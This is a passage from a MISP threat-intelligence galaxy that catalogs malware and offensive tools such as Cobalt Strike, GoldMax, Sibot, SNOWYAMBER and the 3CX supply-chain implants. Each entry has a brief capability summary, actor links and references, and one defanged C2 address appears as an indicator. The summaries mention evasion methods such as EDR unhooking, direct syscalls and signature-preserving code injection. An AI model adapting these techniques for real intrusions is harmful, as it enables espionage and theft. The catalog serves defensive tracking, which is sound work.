The tag is: *misp-galaxy:tool="Cobalt Strike"*

Cobalt Strike is also known as:

View relationships graph

Cobalt Strike has relationships with:

- similar: misp-galaxy:malpedia="Cobalt Strike" with estimative-language:likelihood-probability="almost-certain"
- used-by: misp-galaxy:threat-actor="SloppyLemming" with estimative-language:likelihood-probability="likely"

Table 24734. Table References

Links
https://www.cobaltstrike.com

metasploit

METASPLOIT is a penetration testing framework whose features include vulnerability testing, network enumeration, payload generation and execution, and defense evasion. Availability: Public

The tag is: *misp-galaxy:tool="metasploit"*

metasploit is also known as:

Table 24735. Table References

Links
https://www.metasploit.com
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

CrackMapExec

A swiss army knife for pentesting networks. CRACKMAPEXEC is a post-exploitation tool against Microsoft Windows environments. It is recognized for its lateral movement capabilities.

The tag is: *misp-galaxy:tool="CrackMapExec"*

CrackMapExec is also known as:

Table 24736. Table References

Links

https://github.com/byt3bl33d3r/CrackMapExec
https://bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

WellMess

Wellmess is a Remote Access Trojan written in Golang and also have a .NET version

The tag is: *misp-galaxy:tool="WellMess"*

WellMess is also known as:

View relationships graph

WellMess has relationships with:

- similar: misp-galaxy:malpedia="WellMess" with estimative-language:likelihood-probability="almost-certain"

Table 24737. Table References

Links
https://www.lac.co.jp/lacwatch/pdf/20180614_cecreport_vol3.pdf
https://blogs.jpcert.or.jp/en/2018/07/malware-wellmes-9b78.html
https://www.botconf.eu/wp-content/uploads/2018/12/2018-Y-Ishikawa-S-Nagano-Lets-go-with-a-Go-RAT-_final.pdf
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf

WellMail

WellMail is a lightweight tool designed to run commands or scripts with the results being sent to a hardcoded Command and Control (C2) server.

The tag is: *misp-galaxy:tool="WellMail"*

WellMail is also known as:

View relationships graph

WellMail has relationships with:

- similar: misp-galaxy:malpedia="WellMail" with estimative-language:likelihood-probability="almost-certain"

Table 24738. Table References

Links

https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf

Drovorub

Drovorub is a Linux malware toolset consisting of an implant coupled with a kernel module rootkit, a file transfer and port forwarding tool, and a Command and Control (C2) server.

The tag is: *misp-galaxy:tool="Drovorub"*

Drovorub is also known as:

Table 24739. Table References

Links
https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF

IsErIk

The adware DealPly (sometimes also referred to as IsErIk) and malicious Chrome extension ManageX, for instance, can come bundled under the guise of a legitimate installer and other potentially unwanted applications (PUAs). Because various write-ups cover Dealply or IsErik separately, the technical discussion and representation of both are discussed separately.

The tag is: *misp-galaxy:tool="IsErIk"*

IsErIk is also known as:

- DealPly
- ManageX

Table 24740. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/exposing-modular-adware-how-dealply-iserik-and-managex-persist-in-systems/

Vatet

Attackers often shift infrastructure, techniques, and tools to avoid notoriety that might attract law enforcement or security researchers. They often retain them while waiting for security organizations to start considering associated artifacts inactive, so they face less scrutiny. Vatet, a custom loader for the Cobalt Strike framework that has been seen in ransomware campaigns as early as November 2018, is one of the tools that has resurfaced in the recent campaigns.

The tag is: *misp-galaxy:tool="Vatet"*

Table 24741. Table References

Links
https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/
https://www.tripwire.com/state-of-security/featured/ransomware-characteristics-attack-chains-recent-campaigns/

ConfuserEx

ConfuserEx is a common .NET packer/protector used to obfuscate .NET assemblies and confuse the decompilation process. According to the official site: ConfuserEx is an free, open-source protector for .NET applications. It is the successor of Confuser project. ConfuserEx supports .NET Framework from 2.0 - 4.5 and Mono (and other .NET platforms if enough request!). It supports most of the protections you'll find in commerical protectors, and some more!

The tag is: *misp-galaxy:tool="ConfuserEx"*

Table 24742. Table References

Links
https://yck1509.github.io/ConfuserEx/
https://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-confuserex.html

Beds Protector

Beds Protector is a common .NET packer/protector. It is a mod of ConfuserEx, which is another common .NET packer/protector. It is commonly used to obfuscate .NET assemblies and confuse the decompilation process. The latest available version is Beds Protector v1.4.1

The tag is: *misp-galaxy:tool="Beds Protector"*

Table 24743. Table References

Links
https://github.com/BedTheGod/ConfuserEx-Mod-By-Bed

HyperBro

HyperBro Trojan was used as last-stage in-memory remote administration tool (RAT).

The tag is: *misp-galaxy:tool="HyperBro"*

View relationships graph

HyperBro has relationships with:

- similar: misp-galaxy:malpedia="HyperBro" with estimative-language:likelihood-probability="almost-certain"

Table 24744. Table References

Links
https://securelist.com/luckymouse-hits-national-data-center/86083/

SUNSPOT

SUNSPOT is StellarParticle's malware used to insert the SUNBURST backdoor into software builds of the SolarWinds Orion IT management product.

The tag is: *misp-galaxy:tool="SUNSPOT"*

View relationships graph

SUNSPOT has relationships with:

- dropped: misp-galaxy:backdoor="SUNBURST" with estimative-language:likelihood-probability="likely"

Table 24745. Table References

Links
https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/

Caterpillar WebShell

The tag is: *misp-galaxy:tool="Caterpillar WebShell"*

Table 24746. Table References

Links
https://www.clearskysec.com/cedar/

P.A.S. webshell

The P.A.S. webshell was developed by an ukrainian student, Jaroslav Volodimirovich Panchenko, who used the nick-name Profexer. It was developed in PHP and features a characteristic password-based encryption. This tool was available through a form on his website, where a user had to provide a password to receive a custom webshell. The form suggested a donation to the developer. It was commonly used, including during a WORDPRESS website attack.

The tag is: *misp-galaxy:tool="P.A.S. webshell"*

P.A.S. webshell is also known as:

- Fobushell

Table 24747. Table References

Links

https://us-cert.cisa.gov/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf

Exaramel

Exaramel is a backdoor first publicly reported by ESET in 2018. Two samples were identified, one targeting the WINDOWS operating system and the other targeting LINUX operating systems.

The tag is: *misp-galaxy:tool="Exaramel"*

Table 24748. Table References

Links
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf

RDAT

RDAT is a backdoor used by the suspected Iranian threat group OilRig. RDAT was originally identified in 2017 and targeted companies in the telecommunications sector.

The tag is: *misp-galaxy:tool="RDAT"*

View relationships graph

RDAT has relationships with:

- similar: misp-galaxy:malpedia="RDAT" with estimative-language:likelihood-probability="almost-certain"

Table 24749. Table References

Links
https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/

TEARDROP

Loader used in hands-on-keyboard techniques that attackers employed on compromised endpoints using a powerful second-stage payload, one of several custom Cobalt Strike loaders.

The tag is: *misp-galaxy:tool="TEARDROP"*

View relationships graph

TEARDROP has relationships with:

- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"

- variant-of: misp-galaxy:tool="Raindrop" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TEARDROP" with estimative-language:likelihood-probability="almost-certain"

Table 24750. Table References

Links
https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/

GoldMax

Written in Go, GoldMax acts as command-and-control backdoor for the actor. It uses several different techniques to obfuscate its actions and evade detection. The malware writes an encrypted configuration file to disk, where the file name and AES-256 cipher keys are unique per implant and based on environmental variables and information about the network where it is running. GoldMax establishes a secure session key with its C2 and uses that key to securely communicate with the C2, preventing non-GoldMax-initiated connections from receiving and identifying malicious traffic. The C2 can send commands to be launched for various operations, including native OS commands, via psuedo-randomly generated cookies. The hardcoded cookies are unique to each implant, appearing to be random strings but mapping to victims and operations on the actor side.

The tag is: *misp-galaxy:tool="GoldMax"*

View relationships graph

GoldMax has relationships with:

- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="GoldMax" with estimative-language:likelihood-probability="almost-certain"

Table 24751. Table References

Links
https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/

Raindrop

Loader used in hands-on-keyboard techniques that attackers employed on compromised endpoints using a powerful second-stage payload, one of several custom Cobalt Strike loaders.

The tag is: *misp-galaxy:tool="Raindrop"*

View relationships graph

Raindrop has relationships with:

- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:tool="TEARDROP" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Raindrop" with estimative-language:likelihood-probability="almost-certain"

Table 24752. Table References

Links
https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/

GoldFinder

Tool written in Go, GoldFinder was most likely used as a custom HTTP tracer tool that logs the route or hops that a packet takes to reach a hardcoded C2 server. When launched, the malware issues an HTTP request for a hardcoded IP address (e.g., hxxps://185[.]225[.]69[.]69/) and logs the HTTP response to a plaintext log file (e.g., loglog.txt created in the present working directory). GoldFinder uses the following hardcoded labels to store the request and response information in the log file:

The tag is: *misp-galaxy:tool="GoldFinder"*

View relationships graph

GoldFinder has relationships with:

- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"

Table 24753. Table References

Links
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/

Sibot

Sibot is a dual-purpose malware implemented in VBScript. It is designed to achieve persistence on the infected machine then download and execute a payload from a remote C2 server. The VBScript file is given a name that impersonates legitimate Windows tasks and is either stored in the registry of the compromised system or in an obfuscated format on disk. The VBScript is then run via a scheduled task.

The tag is: *misp-galaxy:tool="Sibot"*

View relationships graph

Sibot has relationships with:

- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"

Table 24754. Table References

Links
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/

Matanbuchus

Matanbuchus is a loader promoted by BelialDemon. It can launch an EXE or DLL file in memory, leverage schtasks.exe to add or modify task schedules, and launch custom PowerShell commands, among other capabilities. Attackers use a Microsoft Excel document as the initial vector to drop the Matanbuchus Loader DLL.

The tag is: *misp-galaxy:tool="Matanbuchus"*

View relationships graph

Matanbuchus has relationships with:

- similar: misp-galaxy:malpedia="Matanbuchus" with estimative-language:likelihood-probability="almost-certain"

Table 24755. Table References

Links
https://unit42.paloaltonetworks.com/matanbuchus-malware-as-a-service/

BLUELIGHT

It is likely that BLUELIGHT is used as a secondary payload following successful delivery of Cobalt Strike.

The tag is: *misp-galaxy:tool="BLUELIGHT"*

Table 24756. Table References

Links
https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/

ESPecter bootkit

ESET researchers have analyzed a previously undocumented, real-world UEFI bootkit that persists on the EFI System Partition (ESP). The bootkit, which we've named ESPecter, can bypass Windows Driver Signature Enforcement to load its own unsigned driver, which facilitates its espionage activities. Alongside Kaspersky's recent discovery of the unrelated FinSpy bootkit, it is now safe to say that real-world UEFI threats are no longer limited to SPI flash implants, as used by Lojax.

The tag is: *misp-galaxy:tool="ESPecter bootkit"*

Table 24757. Table References

Links
https://www.welivesecurity.com/2021/10/05/uefi-threats-moving-esp-introducing-especter-bootkit/
https://github.com/eset/malware-ioc/tree/master/especter

Shark

Shark is a 32-bit executable written in C# and .NET. To run Shark, a parameter is passed on the command line that includes the executable's filename. Shark generates a mutex that uses the executable's filename as the mutex value. The mutex likely ensures Shark does not execute on a machine where it is already running and that the correct version of Shark is executed.

The tag is: *misp-galaxy:tool="Shark"*

View relationships graph

Shark has relationships with:

- similar: misp-galaxy:malpedia="Shark" with estimative-language:likelihood-probability="almost-certain"

Table 24758. Table References

Links
https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/

Motnug

Motnug is a simple shellcode loader that is used to load and execute shellcode located either in its

overlay or in a separate file stored on disk.

The tag is: *misp-galaxy:tool="Motnug"*

Table 24759. Table References

Links
https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/
https://www.welivesecurity.com/2021/09/23/famoussparrow-suspicious-hotel-guest/

BadPotato

BadPotato leaks a system token handle through the MS RPN API, which can be used to get NT AUTHORITY\SYSTEM access.

The tag is: *misp-galaxy:tool="BadPotato"*

Table 24760. Table References

Links
https://github.com/BeichenDream/BadPotato
https://www.mandiant.com/resources/apt41-us-state-governments
https://thehackernews.com/2021/06/chinese-hackers-believed-to-be-behind.html
https://blog.group-ib.com/colunmtk_apt41

Microcin

A simple RAT used by Vicious Panda

The tag is: *misp-galaxy:tool="Microcin"*

Microcin is also known as:

- Mikroceen

View relationships graph

Microcin has relationships with:

- similar: misp-galaxy:malpedia="Microcin" with estimative-language:likelihood-probability="almost-certain"

Table 24761. Table References

Links
https://securelist.com/microcin-is-here/97353
https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636

https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia
https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia
https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign

Esile

The Esile campaign was named after certain strings found in the unpacked malware file that it sends out. All of the malware related to this campaign are detected as BKDR_ESILE variants.

The tag is: *misp-galaxy:tool="Esile"*

Esile is also known as:

- BKDR_ESILE

View relationships graph

Esile has relationships with:

- used-by: misp-galaxy:threat-actor="LOTUS PANDA" with estimative-language:likelihood-probability="likely"

Table 24762. Table References

Links
https://www.trendmicro.com/vinfo/de/security/news/cyber-attacks/esile-targeted-attack-campaign-hits-apac-governments
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/esile

MOUSEISLAND

MOUSEISLAND is a Microsoft Word macro downloader used as the first infection stage and is delivered inside a password-protected zip attached to a phishing email (Figure 2). Based on our intrusion data from responding to ICEDID related incidents, the secondary payload delivered by MOUSEISLAND has been PHOTOLOADER, which acts as an intermediary downloader to install ICEDID. Mandiant attributes the MOUSEISLAND distribution of PHOTOLOADER and other payloads to UNC2420, a distribution threat cluster created by Mandiant's Threat Pursuit team. UNC2420 activity shares overlaps with the publicly reported nomenclature of "Shathak" or "TA551".

The tag is: *misp-galaxy:tool="MOUSEISLAND"*

View relationships graph

MOUSEISLAND has relationships with:

- similar: misp-galaxy:malpedia="MOUSEISLAND" with estimative-language:likelihood-

probability="almost-certain"

Table 24763. Table References

Links
https://www.mandiant.com/resources/blog/melting-unc2198-icedid-to-ransomware-operations

GootLoader

GootLoader is a malware loader historically associated with the GootKit malware. As its developers updated its capabilities, GootLoader has evolved from a loader downloading a malicious payload into a multi-payload malware platform. As a loader malware, GootLoader is usually the first-stage of a system compromise. By leveraging search engine poisoning, GootLoader's developers may compromise or create websites that rank highly in search engine results, such as Google search results. How is it delivered? Via Malicious files available for download on compromised websites that rank high as search engine results

The tag is: *misp-galaxy:tool="GootLoader"*

View relationships graph

GootLoader has relationships with:

- similar: misp-galaxy:malpedia="GootLoader" with estimative-language:likelihood-probability="almost-certain"

Table 24764. Table References

Links
https://www.cyber.nj.gov/alerts-advisories/gootloader-malware-platform-uses-sophisticated-techniques-to-deliver-malware
https://blogs.blackberry.com/en/2022/07/gootloader-from-seo-poisoning-to-multi-stage-downloader

BumbleBee

BumbleBee is a modular backdoor that comprises two applications, a server and a client application (a master and slaver application, respectively in the malware's jargon). Once the client application is deployed on the target computer (these are commonly local government devices), threat actors can control the machine using the server module. Let us take a deeper look into this backdoor.

The tag is: *misp-galaxy:tool="BumbleBee"*

View relationships graph

BumbleBee has relationships with:

- related-to: misp-galaxy:exploit-kit="Hunter" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:malpedia="BumbleBee" with estimative-language:likelihood-probability="almost-certain"

Table 24765. Table References

Links
https://www.trendmicro.com/en_us/research/22/i/buzzing-in-the-background-bumblebee-a-new-modular-backdoor-evolv.html
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/

Chisel

Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network. Benign in itself, but used by threat actors.

The tag is: *misp-galaxy:tool="Chisel"*

Table 24766. Table References

Links
https://github.com/jpillora/chisel

SharPyShell

SharPyShell - tiny and obfuscated ASP.NET webshell for C# web applications

The tag is: *misp-galaxy:tool="SharPyShell"*

Table 24767. Table References

Links
https://github.com/antonioCoco/SharPyShell

Raspberry Robin

Raspberry Robin has evolved from being a widely distributed worm with no observed post-infection actions when Red Canary first reported it in May 2022, to one of the largest malware distribution platforms currently active.

The tag is: *misp-galaxy:tool="Raspberry Robin"*

View relationships graph

Raspberry Robin has relationships with:

- similar: misp-galaxy:malpedia="Raspberry Robin" with estimative-language:likelihood-

probability="almost-certain"

Table 24768. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/

Fauppod

The Fauppod malware delivers a JavaScript backdoor to gain unauthorized access to the target system and deploy additional malware.

The tag is: *misp-galaxy:tool="Fauppod"*

Table 24769. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/

Truebot

This threat takes multiple screenshots of your desktop. It saves all screenshots in a .dat file that becomes a collection of bitmap images. According to Group-IB, FlawedAmmyy.downloader and Truebot would have been developed by the same individual

The tag is: *misp-galaxy:tool="Truebot"*

Truebot is also known as:

- Silence

View relationships graph

Truebot has relationships with:

- similar: misp-galaxy:tool="Truebot" with estimative-language:likelihood-probability="likely"

Table 24770. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/

FakeUpdates

FAKEUPDATES is a downloader written in JavaScript that communicates via HTTP. Supported payload types include executables and JavaScript. It writes the payloads to disk prior to launching

them. FAKEUPDATES has led to further compromise via additional malware families that include CHTHONIC, DRIDEX, EMPIRE, KOADIC, DOPPELPAYMER, and AZORULT. FAKEUPDATES has been heavily used by UNC1543,a financially motivated group.

SocGholish, first appearing in late 2017 and rising to prominence in mid-2018, has been used to describe both the web drive-by download network used to infect victims and the JavaScript-based loader malware that targets Windows systems.

The tag is: *misp-galaxy:tool="FakeUpdates"*

FakeUpdates is also known as:

- FakeUpdate
- SocGholish

View relationships graph

FakeUpdates has relationships with:

- used-by: misp-galaxy:threat-actor="GOLD PRELUDE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="FAKEUPDATES" with estimative-language:likelihood-probability="almost-certain"

Table 24771. Table References

Links
https://www.malwarebytes.com/blog/news/2018/04/fakeupdates-campaign-leverages-multiple-website-platforms
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
https://www.secureworks.com/research/threat-profiles/gold-prelude
https://redcanary.com/threat-detection-report/threats/socgholish/

TgToxic

Banking trojan named TgToxic (detected by Trend Micro as AndroidOS_TgToxic based on its special encrypted filename) embedded in multiple fake apps.

The tag is: *misp-galaxy:tool="TgToxic"*

Table 24772. Table References

Links
https://www.trendmicro.com/en_us/research/23/b/tgtoxic-malware-targets-southeast-asia-android-users.html

WasabiSeed

According to Proofpoint, WasabiSeed is a simple VBS downloader which repeatedly uses Windows Installer to connect to the C2 server looking for MSI packages to download and run. Proofpoint showed that it downloads and executes first a second MSI file containing Screenshotter.

The tag is: *misp-galaxy:tool="WasabiSeed"*

View relationships graph

WasabiSeed has relationships with:

- similar: misp-galaxy:tool="SunSeed" with estimative-language:likelihood-probability="likely"

Table 24773. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/screentime-sometimes-it-feels-like-somebodys-watching-me

Screenshotter

According to Proofpoint, this is a utility with a single function of taking a JPG screenshot of the user's desktop and submitting it to a remote C2 via a POST to a hardcoded IP address. This is helpful to the threat actor during the reconnaissance and victim profiling stage.

The tag is: *misp-galaxy:tool="Screenshotter"*

Table 24774. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/screentime-sometimes-it-feels-like-somebodys-watching-me

SunSeed

According to Proofpoint, this is a Lua-based malware likely used by a nation-state sponsored attacker used to target European government personnel involved in managing the logistics of refugees fleeing Ukraine.

The tag is: *misp-galaxy:tool="SunSeed"*

View relationships graph

SunSeed has relationships with:

- similar: misp-galaxy:malpedia="SunSeed" with estimative-language:likelihood-probability="almost-certain"

Table 24775. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails
https://blogs.blackberry.com/en/2022/03/threat-thursday-sunseed-malware

AHK Bot

According to Proofpoint, the A(uto)H(ot)K(key) Bot is a collection of separate AutoHotKey scripts. The bot's main component is an infinite loop that polls and downloads additional AHK scripts. The bot can load a stealer like Rhadamanthys and can check if the machine is part of an Active Directory domain.

The tag is: *misp-galaxy:tool="AHK Bot"*

Table 24776. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/screentime-sometimes-it-feels-like-somebodys-watching-me
https://research.checkpoint.com/2019/finteam-trojanized-teamviewer-against-government-targets/
https://www.trendmicro.com/en_us/research/19/d/potential-targeted-attack-uses-autohotkey-and-malicious-script-embedded-in-excel-file-to-avoid-detection.html
https://www.trendmicro.com/en_us/research/20/l/stealth-credential-stealer-targets-us-canadian-bank-customers.html

SNOWYAMBER

A tool first used in October 2022, abusing the Notion service to communicate and download further malicious files. Two versions of this tool have been observed.

SNOWYAMBER is a dropper that was used in an espionage campaign significantly overlapping with publicly described activity linked to the APT29 and NOBELIUM activity sets. SNOWYAMBER abuses the NOTION collaboration service as a communication channel. It does not contain any other capabilities aside from downloading and executing 2nd stage. To bypass security products, SNOWYAMBER uses several antidetection and obfuscation techniques, including string encryption, dynamic API resolving, EDR/AV unhooking, and direct syscalls.

The tag is: *misp-galaxy:tool="SNOWYAMBER"*

View relationships graph

SNOWYAMBER has relationships with:

- used-by: misp-galaxy:threat-actor="APT29" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-

language:likelihood-probability="likely"

- used-by: misp-galaxy:threat-actor="UNC2452" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:online-service="Notion" with estimative-language:likelihood-probability="likely"

Table 24777. Table References

Links
https://www.gov.pl/web/baza-wiedzy/espionage-campaign-linked-to-russian-intelligence-services
https://www.gov.pl/attachment/6e085a2c-ac05-4b62-9423-5d6e9ef730bf
https://www.gov.pl/attachment/ee91f24d-3e67-436d-aa50-7fa56acf789d

HALFRIG

Used for the first time in February 2023. This tool is distinguished from the others by the embedded code that runs the COBALT STRIKE tool.

HALFRIG is a stager for CobaltStrike Beacon that was used in an espionage campaign significantly overlapping with publicly described activity linked to the APT29 and NOBELIUM activity sets. HALFRIG has significant code overlap with the QUARTERRIG and it is highly probable that it was developed by the same team.

The tag is: *misp-galaxy:tool="HALFRIG"*

View relationships graph

HALFRIG has relationships with:

- used-by: misp-galaxy:threat-actor="APT29" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="UNC2452" with estimative-language:likelihood-probability="likely"

Table 24778. Table References

Links
https://www.gov.pl/web/baza-wiedzy/espionage-campaign-linked-to-russian-intelligence-services
https://www.gov.pl/attachment/64193e8d-05e2-4cbf-bb4c-5f58da21fefb
https://www.gov.pl/attachment/6e085a2c-ac05-4b62-9423-5d6e9ef730bf

QUARTERRIG

A tool first used in March 2023, sharing part of the code with HALFRIG. Two versions of this tool were observed.

QUARTERRIG is a dropper that was used in an espionage campaign significantly overlapping with publicly described activity linked to the APT29 and NOBELIUM activity sets. QUARTERRIG does not contain any other capabilities aside from downloading and executing 2nd stage. To bypass security products, QUARTERRIG heavily relies on obfuscation based on opaque predicates and multi-stage execution, interweaving shellcode and PE files. HALFRIG and QUARTERRIG share some of the codebase, suggesting that QUARTERRIG authors have access to both HALFRIG source code and the same obfuscation libraries.

The tag is: *misp-galaxy:tool="QUARTERRIG"*

View relationships graph

QUARTERRIG has relationships with:

- used-by: misp-galaxy:threat-actor="APT29" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="UNC2452" with estimative-language:likelihood-probability="likely"

Table 24779. Table References

Links
https://www.gov.pl/web/baza-wiedzy/espionage-campaign-linked-to-russian-intelligence-services
https://www.gov.pl/attachment/6f51bb1a-3ad2-461c-a16d-408915a56f77
https://www.gov.pl/attachment/6e085a2c-ac05-4b62-9423-5d6e9ef730bf

ICONICSTEALER

ICONICSTEALER is a C/C++ data miner that collects application configuration data as well as browser history.

The tag is: *misp-galaxy:tool="ICONICSTEALER"*

Table 24780. Table References

Links
https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise

DAVESHELL

DAVESHELL is shellcode that functions as an in-memory dropper. Its embedded payload is mapped into memory and executed.

The tag is: *misp-galaxy:tool="DAVESHELL"*

Table 24781. Table References

Links
https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise

SIGFLIP

SigFlip is a tool for patching authenticode signed PE-COFF files to inject arbitrary code without affecting or breaking the file's signature.

The tag is: *misp-galaxy:tool="SIGFLIP"*

Table 24782. Table References

Links
https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise

COLDCAT

COLDCAT is a complex downloader. COLDCAT generates unique host identifier information, and beacons it to a C2 that is specified in a separate file via POST request with the data in the cookie header. After a brief handshake, the malware expects base64 encoded shellcode to execute in response.

The tag is: *misp-galaxy:tool="COLDCAT"*

Table 24783. Table References

Links
https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise

TAXHAUL

TAXHAUL is a DLL that, when executed, decrypts a shellcode payload expected at C:\Windows\System32\config\TxR\<machine hardware profile GUID>.TXR.0.regtrans-ms. Mandiant has seen TAXHAUL persist via DLL side loading.

The tag is: *misp-galaxy:tool="TAXHAUL"*

Table 24784. Table References

Links

https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise

SUDDENICON

downloader (?)

The tag is: *misp-galaxy:tool="SUDDENICON"*

Table 24785. Table References

Links
https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise

AMADEY

AMADEY is a downloader written in C that retrieves payloads via HTTP. Downloaded payloads are written to disk and executed. Availability: Public

The tag is: *misp-galaxy:tool="AMADEY"*

View relationships graph

AMADEY has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24786. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

BENCHMARK

BENCHMARK is a dropper written in C/C++ that reads a filename and extracts a Base64 encoded payload from a hard-coded path, decodes the payload and drops it to disk. Availability: Non-public

The tag is: *misp-galaxy:tool="BENCHMARK"*

View relationships graph

BENCHMARK has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24787. Table References

Links

https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

BITTERSWEET

BITTERSWEET is a C/C++ Windows downloader. It collects basic system information before downloading the next stage to disk and executing. Availability: Non-public

The tag is: *misp-galaxy:tool="BITTERSWEET"*

View relationships graph

BITTERSWEET has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24788. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

BRAVEPRINCE

BRAVEPRINCE is a C/C++ downloader. It uses the Daum email service to upload collected system information and download files. Availability: Public

The tag is: *misp-galaxy:tool="BRAVEPRINCE"*

View relationships graph

BRAVEPRINCE has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24789. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

COINTOSS

COINTOSS is a C/C++ downloader. It uses the Windows Management Instrumentation command-line (WMIC) utility to download the payload over FTP. COINTOSS then creates and runs a batch script to uninstall itself. Availability: Non-public

The tag is: *misp-galaxy:tool="COINTOSS"*

COINTOSS is also known as:

- COINTOSS.XLM

View relationships graph

COINTOSS has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24790. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

DINOLAB

DINOLAB is a C/C++ builder. It is used to encrypt and decrypt files, obfuscate VBSscripts, and infect files. Availability: Non-public

The tag is: *misp-galaxy:tool="DINOLAB"*

View relationships graph

DINOLAB has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24791. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

DRIVEDOWN

DRIVEDOWN is a C/C++ Windows downloader capable of executing embedded scripts and downloading stages from OneDrive. Availability: Non-public

The tag is: *misp-galaxy:tool="DRIVEDOWN"*

View relationships graph

DRIVEDOWN has relationships with:

